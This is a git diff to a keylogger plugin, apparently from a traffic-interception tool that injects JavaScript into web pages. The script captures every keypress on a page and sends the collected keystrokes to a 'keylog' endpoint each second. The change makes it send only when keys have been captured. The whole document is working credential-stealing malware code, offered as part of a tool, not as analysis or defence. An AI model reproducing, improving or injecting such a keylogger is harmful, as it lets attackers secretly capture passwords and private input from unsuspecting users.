diff --git a/plugins/jskeylogger.py b/plugins/jskeylogger.py index 55505d2..db04c5c 100644 --- a/plugins/jskeylogger.py +++ b/plugins/jskeylogger.py @@ -50,10 +50,12 @@ document.onkeypress = function(e) { } window.setInterval(function(){ - xhr.open("POST", "keylog", true); - xhr.setRequestHeader("Content-type","application/x-www-form-urlencoded"); - xhr.send(keys); - keys = ''; + if (keys.length > 0){ + xhr.open("POST", "keylog", true); + xhr.setRequestHeader("Content-type","application/x-www-form-urlencoded"); + xhr.send(keys); + keys = ''; + } }, 1000); """